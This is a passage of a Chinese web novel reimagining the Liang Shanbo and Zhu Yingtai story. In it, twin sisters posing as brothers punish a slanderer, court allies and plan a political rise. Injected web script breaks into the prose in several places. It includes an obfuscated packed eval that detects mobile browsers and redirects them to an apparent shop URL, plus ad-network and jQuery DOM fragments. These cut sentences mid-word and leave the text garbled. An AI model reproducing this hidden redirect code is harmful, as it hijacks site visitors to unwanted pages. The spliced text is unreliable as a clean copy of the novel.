王述悄悄瞪了他一眼,小声嘟哝:“这厮越来越过分了,听不得别人质疑祝英回一丁点儿。” 梁、荀二人不自觉地对视一眼,硬生生把笑意给憋了下去,梁山伯咳嗽一声:“想来,还是惺惺相惜吧。” 王述翻了个白眼:“那又不见他对你我惺惺相惜。” “别说我们了,祝英台差哪儿了?只要他哥哥在,马文才眼里就跟没这人似的。” “是吗?”一道冷森森的声线从旁边传了过来,一只骨节分明的手架在了王述脖颈上,不偏不倚地用力摁在了他肩颈交界处。 “痛痛痛痛痛痛痛——”王述缩着脖子,努力想要挣扎出去,却被马文才单手牢牢桎梏,只能承受这份“松筋舒骨”。 马文才收回手,呵笑一声:“果然,夫子说的技巧你全然没听。” 王述练习时爱偷懒,舞剑依靠的是手臂力量,夫子千叮咛万嘱咐不能用肩胛处的肌肉借力,他是一点儿没听进去。 马文才扯了扯线,让原本有下落之势的风筝再次飞了起来,悠悠道:“王公子既然抱怨我眼里没旁人,我自然也不能叫王公子失望了。” “每日清晨加练挥剑五百下。” 他笑意盎然:“我亲自盯着你。” 梁山伯几乎要控制不住自己喷笑出声了,听见王述哀嚎之声,还是忍着笑好心提醒:“王述,于马兄而言,咱们和祝英回不一样,莫要与他比。” 在王述喋喋不休“有什么不一样,大家都是朋友”的背景音里,他对上了马文才骤然投过来的视线,温和地对着他微笑了一下。 祝英台和祝英回要控制风筝,过来就难免要慢上一些,正巧听见了王述在那里嚷嚷有什么不一样,难免好奇:“怎么了?” 王述气咻咻地把刚才的事情全都倾倒而出,最后质问祝英回:“你说!有什么不一样!” “我早看你俩就奇怪了,上巳节就那么一天我没看着,你们就和好了。” “之前明明怎么劝都一直像个死人一样装听不懂,我走了你们就和好了!” “怎么,我王述是多余吗?!” 祝英回直面他的质疑,神色一动,不由得看向了梁山伯,就收到了向来温和的人一个微浅的笑容。 祝英回:…… 这是报复吧?绝对是报复吧?报复他们俩拽着他和荀巨伯去辩经。 但是既然梁山伯还有心思报复他们,想来已经是缓和过来了,才会做这种幼稚的报复。 梁山伯无疑是聪明过人的,一眼就看出了其中猫腻,并且拿这种暧昧的事情来打趣她和马文才。 不过嘛…… 祝英回镇定道:“的确不一样。” 王述气势汹汹:“哪里不一样?!” 对姐姐了解颇深的祝英台悚然一惊:“哥——” 好看挺拔的公子沐浴着阳光,彬彬有礼道:“你与他同窗,我日后也许与他同床,就这点不一样。” 祝英台缓缓地,缓缓地抬起了手,捂住了自己脸:姐姐,虽然本来也就王述这个大傻子不知道了,但你能不能委婉一点。 不远处站着的冷峻公子冷玉一般的俊美面容上骤然染上了绯红的艳色,一直烧到了耳根,桃花眼低垂,长睫透着光影落在脸颊上。 梁山伯与荀巨伯均是果然如此的了然表情,唯有王述还没有分清楚这两个字的区别:“什么同窗……什么同床……” 他琢磨了片刻,猛然抬头,震惊地看向马文才,得了一个冷意十足却默认了的眼神之后,整个人都快碎掉了:“不是,你们,你们俩……” 倏然,他想起了与祝英回通信的本家姊妹:“祝英回!你喜欢男人,还去勾搭我家姐妹? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529222|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!!” 祝英台大大的翻了个白眼:“在你眼里,我哥人品就如此不堪?” “你家里的事情,自己好生琢磨琢磨,别成天什么都不知道地傻乐。” 说到正事,王述不由得严肃了神色:“若有什么事情,尽管跟我讲,在太原王氏里,我和我爹说话还是算数的。” 主要还是有爵位在身的亲爹说话管用。 祝英回颔首:“我会的,你自己家里的事情也要注意一点,不要被人刷了。” 王氏的内部斗争非常激烈,王清然的亲爹死了,可谓是一石激起千层浪,翻出了不少陈年往事。 虽然王述本人远在尼山书院读书没被牵扯进去,但是蓝田侯在这场争权夺利的斗争中无法坐岸观火。 马文才简短道:“有事儿修书一封来会稽,必要的时候,也不是不可以求援。” 他暗示的是移居会稽的琅琊王氏,表明自己家愿意从中调停蓝田侯一家与琅琊王氏的关系,为王述一家兜底。 王述明白了他的意思,郑重地点了点头。 几人心照不宣地点到为止,马文才首先松开了手,任由风筝梭梭地卷走了线,飘飘摇摇地逐渐不见了踪影。 几只风筝都被一一放掉,祝英台手搭凉棚远眺到看不见风筝了,才笑道:“好!晦气都放掉了,今年一定是顺顺利利!” 然而,那晦气像是还没有放掉似的,他们回去之后,便听见了书院中传着的谣言。 不是关于书院中的任何一个人,而是书院外的一个闺阁女子—— 黄良玉。 一瞬间,祝氏姐妹面沉如水,王述神情惊怒。 王述赶散了讲谣言的人,急急回头:“不是我说的!我早就忘了!” 祝英回闭了闭眼:“我知道不是你。” 除去王述之外,书院中还有一个人知道黄良玉,并且,和她有仇。 只不过,她很好奇秦京生是怎么敢就这样直接了当地挑衅她,传这种几乎是明晃晃地宣告是自己所为的谣言。 马文才看着她脸色难看,道:“上次那个人?” “是他。”祝英回面无表情地扯了扯嘴角“还要劳动你去请他过来一趟了。” 王述怒气冲冲地卷起袖子:“我和马兄一起去!这王八传一个女子的谣言算什么!” 祝英台拦住了他,神色平静又冷冽:“不必,你有其他事情要去做……” 不多时,秦京生就被推搡着踉跄地站在了祝英回面前。 祝英回看着他,眼中冷意与平静交织,唇瓣轻轻抬起,勾勒出一个笑。 她一步步逼近,对面的人一步步后退。 “怕什么?”祝英回抬手按住他的肩膀,叫秦京生动弹不得“既然敢说,那你又在怕什么?” 她放低声音:“怕我,杀了你么?” 祝英回松开手,居高临下地俯视被一句话吓得瘫软在地的秦京生,戏谑之下是实打实的滔天怒火:“你敢将良玉攀扯进来,难道就没想过自己的下场么?” “上次,我放过了你,这次,你就没有那么好运道了。” 30.除名 “此女水性杨花……稍加勾引,就抛却自尊,带着钱财贴了上来……” 祝英回慢条斯理地念着秦京生编排黄良玉的话,怒极反笑:“好,好,死还是太便宜你了,你说,我要怎么收拾你才好!” 出人意料的是,秦京生虽然牙齿格格做响,但似乎并不怎么怕:“祝,祝英回,你敢!” “我有什么不敢?”她饶有兴致地注意着秦京生的表情,心中的猜测逐渐浮出水面“就凭你自以为掌握的那点秘密?” 秦京生一抖,不可置信地抬头看镇定自若的祝英回:“你,你就不怕自己骗婚的事情传到王家人耳朵里?” 他像抓住救命稻草一般扑倒王述腿边,抓住了王述的袍角,声音颤抖又声嘶力竭:“与他通信的是你的堂姐啊!王述!他喜欢男人!你就忍心让你堂姐……” 他话还没说完,王述就嫌弃地把袍角从他手中扯了出来,王家内务自然不可能对外人言说,他只说:“与你何干?嫁给祝英回总比嫁给你这个只会欺负女人的渣滓好!” 秦京生瘫坐在地上,恐惧,后知后觉地涌了上来。 祝英台冷漠地瞥了他一眼,问:“哥哥,怎么处理他?” 祝英回偏了偏头,唇瓣扬起,眼中却没有一丝笑意:“秦京生,你敢这么做,无非就是觉得自己是读书人,比旁人都高一筹。” “既然这样,那你也不要做读书人了。” 她微笑着宣判了秦京生的命运:“去做乞丐吧,去瞧瞧那些被你所看不起的人,是不是真的就不如你。” 秦京生瞳孔放大,还没来得及求饶,就被祝英台单手拎住领子拖了出去,她将秦京生丢在了书院门前,她提着马鞭,鞭子呼啸着抽在了秦京生胸前的位置。 惨叫声响彻云霄,一道血痕也慢慢地渗透了出来。 祝英台一鞭子抽上了他的脸,反手又是一鞭子,在他嘴唇的位置画了一个血淋淋的叉。 “闭嘴。”她几乎是轻佻地用马鞭抬起了秦京生的下巴,轻声道“人言可畏,你无法为良玉澄清这件事情,那你就不必再说话了。” 秦京生的惨叫声已经吸引了很多学子三三两两地围了过来,其中不乏听了秦京生的话,传黄良玉谣言的人。 祝英台直起身,一鞭子又狠又快地甩在了秦京生身上,把他抽倒在地。 她冷冰冰地盯着秦京生,一鞭子比一鞭子重,很快,这人在她手下就变成了一个血人。 周围的学子从窃窃私语,到忌惮又静默地看着她动手,眼神中涌动的意味祝英台很清楚,但她不得不这么做。 谣言从来不会止于智者,再聪明的人对旁人的好戏最多只是一笑而过。 特别是这个荒唐又纵情声色的时代。 然而,一只修长的、覆盖着薄茧的手按住了她的手,就像入学时姐姐按住她一样,祝英台恍惚地看着姐姐微笑着,道:“此人妄图攀扯世家小姐,该受此刑。” 好像有什么东西一下子被打破了,凝聚在祝英台身上的眼神一下子移去了秦京生身上。 他们意味不明地打量着秦京生,有的人低声嗤笑,有的人面有怒色,有的人神情意味深长。 祝英回悠悠地向之后赶来的山长和夫子们发问:“夫子,山长,此人品德败坏,该当何罪?” 庾非言最近被找了不少麻烦,虽然烦不胜烦,但总体上没什么大事儿,此时一挑眉:“夫子,我可不愿意和这种品德败坏的人同窗。” “谁知道他会想些什么肮脏的主意。” 他的目光狎昵地打量着秦京生,最终嗤笑一声,丝毫不掩饰轻蔑和看不起。 人群中的低声交谈也逐渐大声起来,贱民、下等乃至于更鄙夷的污言秽语充斥了这片天地。 秦京生惶恐地四处张望,他看见了之前兴致勃勃地向自己打听黄良玉的公子哥,看见了之前带着自己下山去‘玩’的好朋友。 明明之前他们还是如此要好,顷刻之间,就在祝英回的一句话之间,他便成为了为所有人不屑鄙夷的垃圾。 而那个亲手把他的未来打碎的人笑着上前一步,很是和煦地询问:“山长?您认为呢?” 祝英台愣愣地看着这一切,看着山长深深地看了一眼姐姐之后,宣布秦京生被尼山书院开除,看着世家公子嬉笑着戏弄秦京生,看着被戏弄的人拼命磕头求山长不要开除他、求所有能改变他命运的人。 最终,却只能被世家公子的仆从架着扔下山去。 祝英台并不同情秦京生,这个人要杀她姐姐,要让黄良玉身败名裂,他应当去地府陈述自己的罪孽。 他所后悔的,不过是不该招惹一个不好惹的人,而非是不应该去肆意羞辱一个曾经真心倾心他的女子和要杀掉一个无辜的人。 她只是突然发现,原来世家和权力,是如此有力到可怕的东西。 能够嬉笑着决定一个人的命运,轻易地掐灭一个人未来的可能。 她侧头去看姐姐,得到了一个了然的、安抚的笑容。 一瞬间,祝英台就定下心了。 待到看热闹的人陆陆续续地散去了,祝英台急匆匆地拉着姐姐冲回了宿舍,完全没有注意到旁边走过来,正欲同祝英回说话的马文才。 而被拉走的恋人对他眨了眨眼,让他等一等。 马文才:…… 他也猜得到祝英台所困惑和纠结的事情,但是…… 以往不觉得,现在才发现祝英台和他哥哥几乎是形影不离。 书院里兄弟多了去了,关系这么好的还真是绝无仅有。 他抿了抿唇,转头回去取了自己的弓,独自对着箭靶练习。 而那头,祝英回张口想发问,却一时之间不知从何说起。她眼神飘向姐姐,希望能凭着双胞胎的默契让祝英回明白自己的困惑。 而祝英回,也的确理解了,她看着妹妹拼命暗示的样子失笑:“你想的没错,世家于这天下,的确是有所损害的。” “他们以血缘为纽带,将权力传承,然而权力的与生俱来让他们的后代纨绔、不堪、视人命为草芥。” 祝英台茅塞顿开:“可是为什么会这样,我不明白。” 她重复了一遍:“我不明白。” 祝英回反问她:“昔日秦国王翦将军灭六国之五,以微末之身得封彻侯,不应该吗?” 祝英台重重点头:“应该。” “王翦将军希望后代成才,严格操练儿孙,甚至将他们带入军营历练, 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面前的女子顾盼神飞:“总有一日,哪怕像是真的穷人,也能读书,也有机会改变自己的命运。” “到那时,没有人再能轻而易举地逼迫山长将人除名。” 她皱了皱鼻子,显露出了一丝嫌弃:“虽然秦京生这般的人就应该被除名。” 祝英台看着姐姐笑了起来,听见她说:“会有那么一天的。” 马文才弯弓如满月,桃花眼微微眯起,手指一松,那支箭咻地从中间将原本嵌入靶子里的箭矢劈成两半。 忽而,他听见几声拊掌之声,有人笑着赞叹:“好箭法!” 祝英回见他看过来了,眼梢一挑,将唇边笑意压下,故作正经:“马兄寻我有何要紧之事?” 马文才垂下弓,眼中冰雪消融,他还不大会应付祝英回这般调笑,只看着她:“事情的确有一件,但我并非为此寻你。” 他从箭篓中取出一个东西:“你的东西。” 祝英回一看便发现是那日的金色小球,细看之下,却又有些不同,她顿时了悟:“你拿来的?” 马文才嗯了一声:“我的人回去送信,发现已经做好了,便顺道捎来了。” “顺道捎来了?”祝英回念着这几个字,笑吟吟地故意调戏“那你的人可真闲。” 居然还有空拐个弯儿去看八百年不联系的工匠。 马文才眼睫一颤,眼下绯色漫了上来:“嗯。” 他将自己的弓放在祝英回手中,祝英回的手指修长,倏而灵巧地滑过指缝,与他十指交握。 马文才猝然抬眼,俊美的容颜讶异之外,浅浅地露出了笑意。 他的弓很沉,祝英回倒是能拉开,但是准头就有些失误了。 又一次堪堪侧头躲开金球的袭击之后,马文才索性握着祝英回的手,帮她稳定这张弓,瞄准了金球的路径,咻的一声,金球落地,箭矢正中金球正心。 祝英回能感觉到他心如擂鼓,更能感觉到自己胸膛中的心脏越跳越快。 怔愣之间,就听见他在耳边道:“英回,今日十五,正是月圆。” 31.月 祝英回回到宿舍,坐在桌前,整个人都有点发蒙。 祝英台看见她这般模样,不由得纳闷:“怎得了?我瞧你又不像生气、却又不像高兴的。” 祝英回倏然回神,认真地问:“英台,你觉得我许下承诺,是不是有些……” 祝英台迟迟等不到最后,只好道:“草率?不至于,我看你挺喜欢他的,马兄这人也挺不错的。” 她看着风华绝代的姐姐揉了揉太阳穴,很是犹疑,眉心蹙起:“你后悔了?为什么?” 祝英回欲言又止:“不算是后悔,只是今日我忽然觉得,我有些舍不得他。” 祝英台啼笑皆非:“你二人相恋,舍不得是多正常的事情。” 她难得为姐姐开解:“姐姐,我们知道你害怕有了眷恋,便泄了孤注一掷的狠劲儿。” “可我们不仅仅只是要夺权,还要为百姓请命、为天下女子喊冤。” 祝英回仔仔细细地从头到尾打量着祝英台,神色舒朗:“是了,是我魔障了,不如你看的明白。” 祝英台突然想到了一件事情,目光发亮:“你这般样子,必然是他说了些什么。” “今日是十五……” “他邀你赏月了?” 祝英回颔首,还没来得及说什么,就被几乎是跳起来的祝英台催促着去沐浴更衣:“快快快,你们相约月下,可不能迟了!” 说着,她上手就去扒拉祝英回的衣柜:“今日可得好生装扮一下。” 两个人拉拉扯扯,祝英回拒绝了妹妹的香粉、胭脂、浮夸正式到让她打颤的衣服,只着一身月白衣袍,长发以玉冠簪起。 她穿花拂柳而过,一座凉亭渐渐出现在眼前,而那其中已经坐了一个人。 那人换了一身桃红内衬,浅绯大氅,桃花眼含春水,神情虽淡,看见她时,眼中欣悦却怎么也遮不住。 冷心之人动情,最叫人动容。 祝英回步伐顿了顿,随后又一步步地步入亭中,笑问:“这样的地方,你是怎样找到的?” 她自亭中望月,无所遮挡,月辉空明,静静地高悬于天空之上。 又有桃花粉白,风略略拂过,便摇晃不已,脱离枝头自在飞舞。 马文才看着她,漆黑的瞳孔中倒映着她的身影,听见她问,温声回答:“不是找到的,我觉得此地合适赏月,便找人修了个亭子。” 并非巧合为之,而是早有预谋。 亭中石桌放着几碟精致点心小菜,一只银壶,祝英回的目光落在银壶上,就听身边的人:“我知你不爱饮酒,这不是酒,是清饮。” 明月团圆,有情人喃喃低声诉说相思。 如果忽略掉话题逐渐往朝堂滑去,这应该是非常完美的一次月下相约。 但是马文才也好,祝英回也好,他们除去是心中彼此有情之外,还有蓬勃的权欲,和自负无人能比的傲慢。 “我为将,你为相,将相之和,定然比廉颇蔺相如还要相得益彰。” 祝英回托着下巴,袖子下滑,露出一截白皙劲瘦的手腕,笑吟吟地伸手去探他额头温度:“也没喝酒啊,怎么就开始说胡话了?” 马文才哂笑:“陛下要猜疑只管叫他去,我们只管我们的。” 祝英回一听,险些大笑出来,偏了偏头:“马兄,原来你也不老实啊!” 司马家真的不得人心啊,就连本家没有造反意思的后辈对他们家的皇帝都没有任何敬畏之心。 这太好了,祝英回想,这样换皇帝就会更加容易一点了,哪怕是个女皇,底下人的议论也会更少一些。 底线不就是被这样一步步拉低的吗? 至于世家想故技重施,把新女皇变成傀儡—— 那就只能各凭本事了。 但是,现在想这个都有些太远了。 她专注地看着眼前人,左手慢慢地搭在了他的手上,骨节分明,修长白皙,哪怕是此刻更深露重,也带着一股火热。 祝英回笑道:“马公子,你约我出来,就是为了日后朝堂的和谐吗?” 蔷薇花瓣的唇瓣微微翘起:“莫非是为了提前贿赂我,意见相悖时不要过于不计情面?” 冷静俊美的容颜登时如火般燃烧了起来,他反手握住了祝英回的手,低低道歉:“实在抱歉。” “只是我想到你日后穿着朱红朝服,立于朝堂之上的样子,便……” 青葱公子穿上了朱红朝服,神色松弛又笃定,将不同意见一一驳回,手握大权,掌管朝政。 马文才希望这一日能早一点到来,希望不露锋芒的心上人能早日绽放光彩,叫所有人为之震动。 祝英回感觉到了自己的心重重地跳动,这应当是她听过最美妙的情话,或许气氛实在太好,或许情人过于真挚,叫她情不自禁地昏了头。 “无论我是谁,是什么身份?” 马文才有些疑惑,但还是坚定地承诺:“就算你本姓谢……” 他顿了顿,神色露出厌恶来:“就算你姓谢,我也愿意看到你为相。” 祝英回这下是真忍不住了,她笑了起来,姣好的面庞更加动人:“放心,我不姓谢,行不更名坐不改姓,祝英回。” 她爱不释手地把玩着恋人的手:“不需要你牺牲那么大。” “只是,人都有些秘密——” 马文才松了口气:“只要你不姓谢,哪怕你不是人,是山中精怪,是地狱鬼魂,我都欢喜看到你与我并立朝堂。” “山中精怪……地狱鬼魂……”祝英回挑眉“你是这么想我的?” 马文才这才发现自己说漏了嘴,将自己辗转反侧梦中所思讲了出来,长睫颤了颤,垂眼不敢看她:“我……” 祝英回靠近了一些:“觉得我蛊惑人心?” “还是……” 害怕她将午夜梦回之时的情迷意乱猜出来,马文才慌乱之下抬手捂住了她的嘴,祝英回不说话了,那双凤眼却含情带笑,比一千句话都勾引人心。 明明没喝酒,两人却都有些微醺了。 深更半夜,兴奋到睡不着觉的祝英台终于听到了吱呀一声,看着携带满身风露的姐姐出现在门口。 她一骨碌从床上爬起来,眼睛闪闪发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王清然依赖于王家的权势,这让她可以更加轻松地往上爬,但始终摆脱不了他人的阴影,因而她随时可能反水。 但谢道韫若是被说服,那便是宁死不屈的忠实盟友。 祝英台披上衣服坐在了书桌前,略一思考,便提笔落下开头:“谢氏娘子道韫亲启……” 待到将此信写完,祝英台道:“信很难传进谢氏中,不若令王姑娘代为传递。” 祝英回摇头:“王清然与谢道韫并非一类人,她们应当分开来联系。” “倒不如令人为谢道韫解签。” “桓温势大,王谢联姻迫在眉睫,她心中烦闷,出门踏青也是有的。” 谢道韫是典型的不信神佛之人,最有可能消解烦闷的办法便是出门踏青,与闺中好友饮酒行宴。 纵情于山水之中,自然也有山水之人以信相投。 祝英台坐在桌边,啧了一声:“哥哥,我有时候都不知道你从哪儿知道的这些事情。” “连谢道韫不信神佛你都知道。” 祝英回眉头一抽,抬手给了妹妹一个爆栗:“她若是信神佛,信五斗米教,又或者是信前世今生,咱们还联系她做什么?” 不是说在乱世之中找个心灵寄托是多么罪大恶极的事情,但是她们所行之事,需要的是坚定且不信命的人。 32.令页 祝英回写了一封信指导崔婉她们行事,将祝英台的信带着信封一道塞进了信封里。 次日,这封信便随着已经初具规模的商队踏上了返程之路。 世道战乱,最终还是让祝英回想了个法子来养更多的私兵。 用名贵到千金难求的胭脂水粉敲开太守府的后门,用金银绸缎打通太守府前面的各个关节。 将商队生意的利润按比例双手奉上。 最后,言道自己是生意人,世道之乱,对行商者实在不友好,需要更多的保障,和更多的兵器。 世人鄙薄商人又享受奢华,看不起铜臭又离不开这方孔兄。 半推半就的,也就默许了。 甚至不少做生意的关节,诸位太守也颇为愿意去给封信件什么的帮忙疏通。 崔婉、覃微她们别的不好说,理账管家可是从小就学,这么一段时间,竟然还真的赚到了不少钱。 现在祝氏姐妹手里不仅攒了一笔钱,还将私兵的人数扩增到了数百。 如此顺利,还要得益于祝英回对古代军事的认知。 无论是哪个朝代,仿佛都有那么一句话: 士兵不满饷,满饷不可敌。 所以…… 祝英回根本没有把银子攒着的意思,转手就给私兵置办了四季衣裳,每月发肉、米、盐的数量提了一提,每个月二两的饷银更是让人牢牢看着账本,不许空饷骗钱,更不许缺饷。 最重要的,则是就连这些流民出身的私兵家中妻儿弟妹,她也十分大方地收容了,每月给些银钱做些缝补浆洗带孩子的工作,算是福利了。 还从中挑了不少健妇,组建了另一支私兵—— 这不在数百人明面上的名单上,藏在农庄里,为浆洗衣裳的农户女子所遮掩,日日勤练,是一支不会引起任何人注意的奇兵。 才赚到手的银子,转手就全部又投进去。 祝英台饶是支持姐姐的一切行为,拿着账本拨算盘时也是不住地唉声叹气:“哥哥,咱们可得多赚点钱,不然就要养不起了。” 她噼里啪啦打着算盘:“一个人饷银一年二十四两银子,若要力气饱足,每年发一百升米粮,米粮从农庄的账本里走,算一升三十文钱。” “一斤猪肉一百文,一个月发三斤,一年就是三两六钱银子。还有豆子,一斤豆子五文钱,每个月发十斤豆子,一年就是六钱银子。” “最重要的还得是盐,若要不面黄肌瘦,要十五两银子。” “衣服倒还行,四季各一件,需要一两银子。” “你说不能让他们得夜盲症,偶尔还有些动物内脏和蔬果的贴补。”祝英台抬起头看姐姐:“哥,一个人一年得要五十两银子。” 她跟个幽魂一样幽怨地抱着账本碎碎念:“养人真的好费钱……” 祝英回默了默,这个数量和她估计出来的差不多。 但看着妹妹天天抱着算盘拨,好好一千金小姐天天为钱发愁,不由得有些心虚:“会好的会好的,待我二人计划进入了下一步,挣钱便容易了。” 祝英台闻言,收敛了神色,严肃道:“姐姐,你真的要把谢道韫引到学校中来吗?” “我们其实还没有那么缺钱,几个农庄的收成很不错,长官有钱拿,没有为难,脂粉铺、金银楼、商队的生意都很好,一年能有数万两银子的流水。” “实在不必冒进,若是谢道韫心思与我们不同,会很被动。” 祝英回抬手抚了抚妹妹的发旋:“我心里有数,只是我们接下来的计划,若是谢道韫愿意相助,会简单很多。” “冒一点风险,也是值得的。就算她与我们不同道,我也有把握叫她说不出去。” 祝英台想到她们之后的计划,表情一松,点了点头:“若是谢道韫愿意相助,的确简单不少。” “除此之外,咱们还有一个事情要提前考虑。”祝英回眸光一闪“怎么让谢安放弃联姻的想法。” 说到此事,祝英台就不由得叹气:“庾氏与桓温势大,王谢若不报团取暖,恐怕会被渐渐蚕食到渣滓都不剩。” “要说服谢安不行联姻之事,谈何容易。” “庾氏……桓温……”她手指在桌案上蘸水画画,水迹在她写下之后飞速干掉,叫人看不出来她在想些什么。 倏然,祝英回抬头,祝英台扭头,二人的目光撞到了一起。 异口同声:“庾令页!” 不要看庾令页这个人离经叛道,为儒者痛斥为妖儒,实际上,此人在庾氏之内地位十分重要。 无他,作为一位声名远扬的妖儒,他能吸引来的学生弟子近乎是疯狂的拥护着他,顺道与庾氏走得很近。 朝堂之上亲近官员的人头数,庾氏也是靠着这一点与王谢两家分庭抗礼。 毕竟,谢安与王羲之在建康之中虽然颇负盛名,但是人家本职工作是当宰相把持朝政以及当族长指导家族前进方向。 纵使名士环绕,但能见到此二人的,哪个不是千年修成的老狐狸,崇拜归崇拜,真要站队还是得思量思量。 顾幸、孟之义、庾令页,在带领学生顺理成章地成为自己一派的人这方面才是专业的。 这之间的区别,大概就是日日相处鼓励你传授你知识的亲老师和只存在于传说中的名士之间的区别。 不是名士不够香,只是一日为师终身为父。 若是庾令页在此事上表态,谢安说什么都会再思量思量。 祝英台苦着脸拿出了被她压在最底下准备慢慢回的信件,一封封打开,预备将她们的政治立场在最短时间内灌输给庾令页。 看着看着,祝英台的表情专注了起来,祝英回也坐在旁边,认真地解读这位妖儒的所思所想。 庾令页在学术上的成就,远不是祝英回能比的,就算是有后世给出的答案作弊,祝英台的基本功底,离庾令页也还有一段距离。 尤其是庾令页激动之下,完全没有压制自己的水平。 这激发了祝英台的斗志。 烛火一跳一跳的,就在燃到尽头即将熄灭之时,祝英回用一支新的蜡烛点燃了新的光亮。 二人披散着头发,披着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衣服坐着乱书堆里,一本一本地翻书,地上到处都是横七竖八的书本。 从慢到快,她们一点点把庾令页的想法解构精读,到最后,了解了这位妖儒。 直到天蒙蒙亮时,她们才回完了所有的信。 祝英台抬头看了看窗外的天光,声音出口,竟然让她自己也感觉到了一丝陌生:“天亮了?” 祝英回将信垒成一摞,有些疲惫地回:“是。” 接着,她就看见自家妹妹拍了拍自己脸,然后跑出去洗把脸,再回来的时候,已经又是容光焕发精神抖擞了。 “哥哥,走吧!我们去学堂!” 祝英回:…… 我妹妹的精力真是个谜。 或许是被庾令页刺激到了,一连半个月,祝英台都埋首书中,不仅把遍读自己带来的书,就连书院中夫子的藏品也被她死皮赖脸地借来读完了。 不仅读,她还会买,买不到就跟夫子说了之后手抄。 总之,祝英台莫名其妙地多出了一个收藏书本的爱好,不管是古文经典、今文经典、杂书、农书,也不论是不是孤本,她都不在乎。 只要是书,她都要。 祝英回被妹妹带着莫名其妙地努力了起来,从农事到军事,从如何入仕,到上位之后如何稳定朝局。 祝英回几乎是榨干了自己所有的时间,才堪堪跟上妹妹的进度。 而在这半月之内,庾令页也终于给出了她们满意的答复。 他敏锐地察觉到祝英台在学术上的不足和身份的不同凡响,但仍以夫子呼之,并且表示,只要祝英台想,那么他就会尽全力阻止王谢联姻。 恰巧,先看到这一封信的是刚刚忙完的祝英回,她挑了挑眉,道:“跟他说,并非是要阻止王谢联姻,而是不要让谢道韫成亲。” “英台,他这是在试探你、考验你呢。” 考验祝英台是否真地如信件中那般能够引领他前行,试探这是不是谁的阴谋。 庾令页固然愤世嫉俗,固然不如其他人那般在乎家族,固然能够义无反顾地奔赴学海和理想。 但这不代表他可以容忍别人利用他来设计自己的家族。 祝英台将自己写好的信给姐姐看:“巧了,我也是这么想的。” 她往后一靠:“不过,我也想知道庾令页有没有足够的决心,不给任何人的面子,只要扶起汉人的江山。” 她的书信逐渐露出了她本人的攻击性和锋锐,借王谢联姻之事辛辣地反问庾令页。 若是你的亲人,是祸乱朝纲的罪魁之一,若是你的家族不希望过江,沉迷于乱世给他们带来的权力。 你要怎么办? 是站在朝堂上秉公执法,还是像现在一样,逃避地做一些聊胜于无的事情。 你又能怎么办? 逃避世间苦难而沉醉于学术之中、纵情放浪的人,真的还有匡扶社稷、为万民请命的能力么? 在书信的最后,祝英台犹疑了片刻,最终还是写下了这么一句话。 “鼓声动地平民苦,焉知可为世家钟。” 33.不笑娼 “哥——”祝英台几乎是冲回了宿舍“庾令页,庾令页回信了!” 这是庾令页沉寂了半个多月之后,来的一封信。 祝英台深深地吸了一口气,然后郑重地打开了它,里面用苍劲有力的笔迹写着几个大字: “为百姓请命,庾令页绝不顾惜此生,更何况外物。” 一句话,一个坚定的答案。 祝英回毫不意外,但是同时,她将写好的一封信封上了口,交给了身侧的婢女。 祝英台尚且沉浸于喜悦之中,此刻不由得询问:“哥哥,这是要做什么?” 祝英回漫不经心道:“我之前叫崔婉她们移地方,避免被王清然和庾令页反水抓住,现在那个农庄只是一个空壳子。” “但是既然庾令页最终与我们同行,多少还是要留一个联络的地方,派些人过去。” 祝英台手一抖:“哥,你怎么不跟我说这件事儿。” 她后怕不已:“还好你记得留后路了……” 祝英回微笑:“我就是想瞧瞧,你记不记得扫尾。” 祝英台纵使学了不少心眼儿,却终究不忍心把人想得太坏。 不过,也正是她的赤诚,才能成就学术,说服陶渊明,折服庾令页。 祝英回无论如何,也无法学出来那股热血沸腾为了江山社稷不顾生死的劲儿。 因为她本就在乎生死,也在乎得失。 她与英台的计划,绝不容许任何人来破坏。 然而,被冷落了半个月的某人,心里意见一天比一天大,终于有一天,马文才忍不住了,在休沐的前一日,在宿舍门口就堵住了正在一块儿用餐的两人。 当俊美少年倚靠在那棵树下投来目光的时候,祝英回终于想起来这半个月她忘记了什么。 她轻轻嘶了一声,难得地有些心虚:真心是真的,但是忙到把人抛之脑后也是真的。 祝英台抬头看了一眼马文才的脸色,又看了一眼强作镇定的姐姐,果断地把手里的信件藏好:“哥,我去寻顾夫子借本书,你自己搞定。” 祝英回眼睁睁看着飞快消失在视野中的妹妹,又转头看向马文才,扯出了一个笑容:“马兄,我这几日忙了些……” 情场经验丰富的祝总难得词穷,以前的情人没一个敢质问她为什么这么久都不来,生怕收到一笔钱和一条附赠的短信。 “我忘了,不好意思,这是分手费。” 祝英回也不喜欢别人老是问自己在干什么,有的原本不想分手,问过之后,也干脆地打了分手费。 但…… 看着那双墨黑的桃花眼倒映着她的身影,美人不言不语,抿着薄唇看着她,神色中的质问逐渐变为隐隐的委屈和伤神。 祝英回承认,她又被这副皮囊骗到晃神了一下。 马文才深深凝视着她,忽而开口道:“端午你有什么打算?” 端午? 祝英回今日穿了一身檀色衣衫,她眉眼迤逦,偏了偏头:“我与你一同过端午,可好?” 他的确是这个意思。 但不止是这样,马文才忽而笑了,他从不肯轻易言笑,此时一笑,冷清容色填了两份艳色,拨乱了人心弦:“不如我去你家中寻你出去,咱们一道过端午?” 祝英回看着他,眨了眨眼:“你想见我爹娘?” “是。”马文才承认了“英回,你从来想来就来,想走就走。” “叫我觉得那日你的承诺不过镜花水月。” “明明你也是喜欢我的。”他此刻格外冷静,甚至还有心思对着祝英回弯了弯唇,引诱意味浓重“至少,是欢喜这副皮囊的,不是吗?” 太守之子文武双全,聪明又敏锐,怎么会看不出祝英回上巳节那日的犹疑和晃神、每次投来目光中的惊艳和欣赏。 